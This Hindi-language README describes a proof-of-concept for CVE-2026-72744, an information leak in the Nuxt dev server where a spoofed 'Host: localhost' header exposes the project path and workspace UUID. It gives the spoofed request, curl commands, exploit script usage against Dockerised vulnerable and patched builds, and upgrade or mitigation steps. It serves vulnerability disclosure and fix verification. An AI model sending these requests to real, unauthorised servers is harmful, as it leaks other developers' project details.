
CVE-2026-72744 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Nuxt डेव सर्वर के Chrome DevTools वर्कस्पेस एंडपॉइंट में एक सूचना प्रकटीकरण भेद्यता है। दोष को प्रदर्शित करता है और सुधार को सत्यापित करता है।
यह रिपॉजिटरी Nuxt डेवलपमेंट सर्वर के Chrome DevTools workspace एंडपॉइंट में मौजूद सूचना रिसाव भेद्यता CVE-2026-72744 का Proof of Concept (PoC) है।
कमजोर डेवलपमेंट सर्वर यह निर्धारित करता है कि कनेक्शन स्रोत स्थानीय है या नहीं, TCP peer address के बजाय
हमलावर द्वारा निर्दिष्ट किए जा सकने वाले Host जैसे HTTP हेडर के आधार पर। यदि डेवलपमेंट सर्वर
0.0.0.0 पर bind है, तो LAN पर एक अनधिकृत हमलावर
Host: localhost वाले अनुरोध के माध्यम से प्रोजेक्ट का पूर्ण पथ और स्थायी
workspace UUID प्राप्त कर सकता है।
यह PoC Nuxt 4.5.0 (कमजोर संस्करण) और 4.5.1 (पैच किया गया संस्करण) को Docker में चलाता है, और होस्ट की ओर से समान अनुरोध भेजकर व्यवहार में अंतर की पुष्टि करता है। यह फ़ाइलों को पढ़ने/लिखने या कोड निष्पादन नहीं करता है।
केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा सत्यापन के लिए उपयोग करें। तीसरे पक्ष के वातावरण में बिना अनुमति के अनुरोध न भेजें।
>= 4.4.7, < 4.5.1 और >= 3.21.7, < 3.21.104.5.1 / 3.21.10experimental.chromeDevtoolsProjectSettingsrootDir का पूर्ण पथ और प्रोजेक्ट-विशिष्ट workspace UUID का रिसावकमजोर संस्करण का isLocalDevRequest अनुरोध को स्थानीय मानता है यदि Host अनुमत सूची में है और
ब्राउज़र-व्युत्पन्न क्रॉस-साइट हेडर मौजूद नहीं हैं।
गैर-ब्राउज़र क्लाइंट इन हेडरों को स्वतंत्र रूप से छोड़ या निर्दिष्ट कर सकते हैं, इसलिए निम्नलिखित
अनुरोध जांच पास कर जाता है।
GET /.well-known/appspecific/com.chrome.devtools.json HTTP/1.1
Host: localhost
पैच किया गया संस्करण मौजूदा हेडर जांच के अतिरिक्त, वास्तविक TCP peer address के loopback
(127.0.0.0/8 या ::1) होने की आवश्यकता रखता है।
docker compose up -d --build
| URL | संस्करण | अपेक्षित परिणाम |
|---|---|---|
http://localhost:3000 | Nuxt 4.5.0 | HTTP 200, सूचना रिसाव |
http://localhost:3001 | Nuxt 4.5.1 | HTTP 403 |
पहले बिल्ड में npm पैकेज प्राप्त करने में कुछ मिनट लग सकते हैं।
python3 exploit.py -t http://localhost:3000 --expect vulnerable
अपेक्षित आउटपुट:
[!] VULNERABLE: the endpoint disclosed workspace.root and workspace.uuid.
python3 exploit.py -t http://localhost:3001 --expect fixed
अपेक्षित आउटपुट:
[+] FIXED: the non-loopback request was rejected with HTTP 403.
curl -i -H 'Host: localhost' \
http://localhost:3000/.well-known/appspecific/com.chrome.devtools.json
curl -i -H 'Host: localhost' \
http://localhost:3001/.well-known/appspecific/com.chrome.devtools.json
Docker के पोर्ट फ़ॉरवर्डिंग के माध्यम से, कंटेनर से देखा गया कनेक्शन स्रोत loopback नहीं है। यह एक ही होस्ट पर LAN हमले के बराबर की स्थितियों को पुन: उत्पन्न करने की अनुमति देता है।
docker compose down -v
exploit.py Host: localhost निर्दिष्ट करता है और Origin, Referer,
Sec-Fetch-Site भेजे बिना लक्ष्य एंडपॉइंट तक पहुंचता है। केवल तभी कमजोर माना जाता है जब HTTP 200 के
JSON में स्ट्रिंग workspace.root और workspace.uuid शामिल हों। HTTP 403 पैच किए गए संस्करण का अपेक्षित व्यवहार है।
Nuxt 4.x के लिए 4.5.1 या बाद का, और 3.x के लिए 3.21.10 या बाद का संस्करण अपडेट करें। अपडेट
संभव न होने पर, डेवलपमेंट सर्वर को केवल loopback पर bind करें या
experimental.chromeDevtoolsProjectSettings: false सेट करें।